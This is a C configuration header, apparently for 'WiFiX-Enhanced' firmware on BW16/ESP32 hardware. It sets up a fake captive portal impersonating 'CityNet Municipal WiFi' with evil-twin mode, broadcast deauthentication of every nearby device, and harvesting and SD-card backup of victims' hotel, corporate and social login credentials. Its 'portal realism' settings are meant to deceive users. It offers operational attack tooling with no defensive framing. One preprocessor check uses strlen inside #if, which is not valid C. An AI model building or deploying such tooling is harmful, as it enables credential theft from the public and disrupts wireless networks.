246 lines
7.5 KiB
C
246 lines
7.5 KiB
C
/**
|
|
* WiFiX-Enhanced Configuration Template
|
|
*
|
|
* Copy this file to config.h and modify values as needed
|
|
* This file contains all configurable parameters for the system
|
|
*/
|
|
|
|
#ifndef CONFIG_H
|
|
#define CONFIG_H
|
|
|
|
// =============================================================================
|
|
// DEVICE CONFIGURATION
|
|
// =============================================================================
|
|
|
|
// Device identification
|
|
#define DEVICE_NAME "WiFiX_Enhanced"
|
|
#define DEVICE_VERSION "1.2.0"
|
|
#define HARDWARE_ID "BW16_ESP32"
|
|
|
|
// Operational modes
|
|
#define MODE_CAPTIVE_PORTAL 0
|
|
#define MODE_DEAUTH_ONLY 1
|
|
#define MODE_EVIL_TWIN 2
|
|
#define OPERATING_MODE MODE_CAPTIVE_PORTAL
|
|
|
|
// =============================================================================
|
|
// NETWORK CONFIGURATION
|
|
// =============================================================================
|
|
|
|
// WiFi Access Point settings
|
|
#define DEFAULT_SSID "CityNet_Public_WiFi"
|
|
#define DEFAULT_PASSWORD "" // Empty for open network
|
|
#define HIDDEN_NETWORK false
|
|
#define MAX_CLIENTS 8
|
|
|
|
// Network addressing
|
|
#define AP_IP_ADDR "192.168.4.1"
|
|
#define AP_GATEWAY "192.168.4.1"
|
|
#define AP_SUBNET "255.255.255.0"
|
|
#define DHCP_START "192.168.4.10"
|
|
#define DHCP_END "192.168.4.50"
|
|
|
|
// Web server configuration
|
|
#define WEB_SERVER_PORT 80
|
|
#define DNS_PORT 53
|
|
#define CAPTIVE_PORTAL_DOMAIN "wifi.citynet.local"
|
|
#define REDIRECT_URL "http://192.168.4.1"
|
|
|
|
// =============================================================================
|
|
// HARDWARE PIN CONFIGURATION
|
|
// =============================================================================
|
|
|
|
// I2C for OLED display
|
|
#define I2C_SDA 21
|
|
#define I2C_SCL 22
|
|
#define OLED_ADDRESS 0x3C
|
|
#define OLED_RESET -1 // Not used for SSD1306
|
|
|
|
// SPI for SD card
|
|
#define SD_CARD_CS_PIN 5
|
|
#define SD_CARD_MOSI 23
|
|
#define SD_CARD_MISO 19
|
|
#define SD_CARD_CLK 18
|
|
|
|
// UART for BW16 communication
|
|
#define BW16_UART_TX 17
|
|
#define BW16_UART_RX 16
|
|
#define BW16_BAUD_RATE 115200
|
|
|
|
// Status LED (if available)
|
|
#define STATUS_LED_PIN 2
|
|
#define LED_ACTIVE_HIGH true
|
|
|
|
// =============================================================================
|
|
// FEATURE TOGGLES
|
|
// =============================================================================
|
|
|
|
#define ENABLE_SD_CARD true
|
|
#define ENABLE_OLED_DISPLAY true
|
|
#define ENABLE_SERIAL_DEBUG true
|
|
#define ENABLE_WEB_INTERFACE true
|
|
#define ENABLE_DNS_REDIRECT true
|
|
#define ENABLE_DEAUTHENTICATION true
|
|
#define ENABLE_CREDENTIAL_BACKUP true
|
|
#define ENABLE_AUTO_BACKUP true
|
|
|
|
// =============================================================================
|
|
// CREDENTIAL MANAGEMENT
|
|
// =============================================================================
|
|
|
|
// Storage limits
|
|
#define MAX_CREDENTIALS 100
|
|
#define CREDENTIAL_ENCRYPTION true
|
|
#define ENCRYPTION_KEY "WiFiX2024SecureKey!" // Change this!
|
|
|
|
// Backup configuration
|
|
#define BACKUP_TO_SD true
|
|
#define BACKUP_INTERVAL_MINUTES 5
|
|
#define MAX_BACKUP_FILES 10
|
|
#define BACKUP_FILE_PREFIX "credentials_"
|
|
|
|
// Credential types
|
|
#define CRED_TYPE_GENERIC 0
|
|
#define CRED_TYPE_HOTEL 1
|
|
#define CRED_TYPE_CORPORATE 2
|
|
#define CRED_TYPE_PUBLIC 3
|
|
#define CRED_TYPE_SOCIAL 4
|
|
|
|
// =============================================================================
|
|
// DEAUTHENTICATION SETTINGS
|
|
// =============================================================================
|
|
|
|
#define DEAUTH_CHANNEL_HOP true
|
|
#define DEAUTH_INTERVAL_MS 100
|
|
#define DEAUTH_MAX_RETRIES 3
|
|
#define DEAUTH_TARGETED_ONLY false // If true, only target specific MACs
|
|
#define DEAUTH_WHITELIST_SIZE 10
|
|
|
|
// Target MAC addresses (if DEAUTH_TARGETED_ONLY is true)
|
|
const char* TARGET_MACS[] = {
|
|
"FF:FF:FF:FF:FF:FF", // Broadcast (all devices)
|
|
"", // Add specific MACs here
|
|
"",
|
|
"",
|
|
""
|
|
};
|
|
|
|
// =============================================================================
|
|
// WEB INTERFACE SETTINGS
|
|
// =============================================================================
|
|
|
|
// Portal realism
|
|
#define PORTAL_COMPANY_NAME "CityNet Municipal WiFi"
|
|
#define PORTAL_LOGO_URL "/logo.png"
|
|
#define PORTAL_BACKGROUND_URL "/background.jpg"
|
|
#define SESSION_TIMEOUT_MINUTES 120
|
|
#define ENABLE_SOCIAL_LOGIN true
|
|
#define ENABLE_TERMS_ACCEPTANCE true
|
|
|
|
// Form validation
|
|
#define MIN_PASSWORD_LENGTH 6
|
|
#define REQUIRE_EMAIL_VALIDATION true
|
|
#define ENABLE_RATE_LIMITING true
|
|
#define MAX_LOGIN_ATTEMPTS 3
|
|
|
|
// =============================================================================
|
|
// SECURITY SETTINGS
|
|
// =============================================================================
|
|
|
|
// Encryption and hashing
|
|
#define USE_HTTPS false // Not recommended for captive portals
|
|
#define HASH_ALGORITHM "SHA256"
|
|
#define SALT_LENGTH 16
|
|
|
|
// Access control
|
|
#define ENABLE_PASSWORD_PROTECTION false
|
|
#define ADMIN_PASSWORD "admin123" // Change this!
|
|
#define ENABLE_REMOTE_ACCESS false
|
|
#define ALLOWED_IPS {"192.168.4.2"} // Admin IP
|
|
|
|
// =============================================================================
|
|
// DEBUGGING AND LOGGING
|
|
// =============================================================================
|
|
|
|
#define DEBUG_LEVEL 2 // 0=None, 1=Error, 2=Info, 3=Debug
|
|
#define ENABLE_SERIAL_LOG true
|
|
#define ENABLE_SD_LOG true
|
|
#define LOG_FILE_PREFIX "log_"
|
|
#define MAX_LOG_FILES 5
|
|
|
|
// Debug output macros
|
|
#if DEBUG_LEVEL >= 3
|
|
#define DEBUG_PRINT(x) Serial.print(x)
|
|
#define DEBUG_PRINTLN(x) Serial.println(x)
|
|
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
|
|
#elif DEBUG_LEVEL >= 2
|
|
#define DEBUG_PRINT(x)
|
|
#define DEBUG_PRINTLN(x) Serial.println(x)
|
|
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
|
|
#elif DEBUG_LEVEL >= 1
|
|
#define DEBUG_PRINT(x)
|
|
#define DEBUG_PRINTLN(x)
|
|
#define DEBUG_PRINTF(x, ...)
|
|
#else
|
|
#define DEBUG_PRINT(x)
|
|
#define DEBUG_PRINTLN(x)
|
|
#define DEBUG_PRINTF(x, ...)
|
|
#endif
|
|
|
|
// =============================================================================
|
|
// PERFORMANCE SETTINGS
|
|
// =============================================================================
|
|
|
|
// Memory management
|
|
#define ENABLE_MEMORY_MONITORING true
|
|
#define MEMORY_WARNING_THRESHOLD 80 // Percentage
|
|
#define ENABLE_AUTO_RESTART true
|
|
#define RESTART_INTERVAL_HOURS 24
|
|
|
|
// Timing
|
|
#define LOOP_DELAY_MS 10
|
|
#define WIFI_SCAN_INTERVAL_MS 5000
|
|
#define CLIENT_CHECK_INTERVAL_MS 1000
|
|
#define CREDENTIAL_SAVE_DELAY_MS 100
|
|
|
|
// =============================================================================
|
|
// ADVANCED SETTINGS
|
|
// =============================================================================
|
|
|
|
// Over-the-air updates (ESP32 only)
|
|
#define ENABLE_OTA_UPDATES true
|
|
#define OTA_PASSWORD "ota_update_2024" // Change this!
|
|
#define OTA_PORT 8266
|
|
|
|
// MQTT integration (optional)
|
|
#define ENABLE_MQTT false
|
|
#define MQTT_SERVER "192.168.1.100"
|
|
#define MQTT_PORT 1883
|
|
#define MQTT_USER ""
|
|
#define MQTT_PASSWORD ""
|
|
#define MQTT_TOPIC_PREFIX "wifix"
|
|
|
|
// Custom HTML/CSS/JS injection
|
|
#define ENABLE_CUSTOM_STYLING false
|
|
#define CUSTOM_CSS_FILE "/custom.css"
|
|
#define CUSTOM_JS_FILE "/custom.js"
|
|
|
|
// =============================================================================
|
|
// VALIDATION AND SANITY CHECKS
|
|
// =============================================================================
|
|
|
|
// Ensure critical settings are valid
|
|
#if MAX_CREDENTIALS > 500
|
|
#error "MAX_CREDENTIALS too high for available memory"
|
|
#endif
|
|
|
|
#if !defined(ENCRYPTION_KEY) || strlen(ENCRYPTION_KEY) < 16
|
|
#error "ENCRYPTION_KEY must be at least 16 characters"
|
|
#endif
|
|
|
|
#if ENABLE_OTA_UPDATES && !defined(OTA_PASSWORD)
|
|
#error "OTA_PASSWORD must be defined if OTA updates are enabled"
|
|
#endif
|
|
|
|
// =============================================================================
|
|
#endif // CONFIG_H
|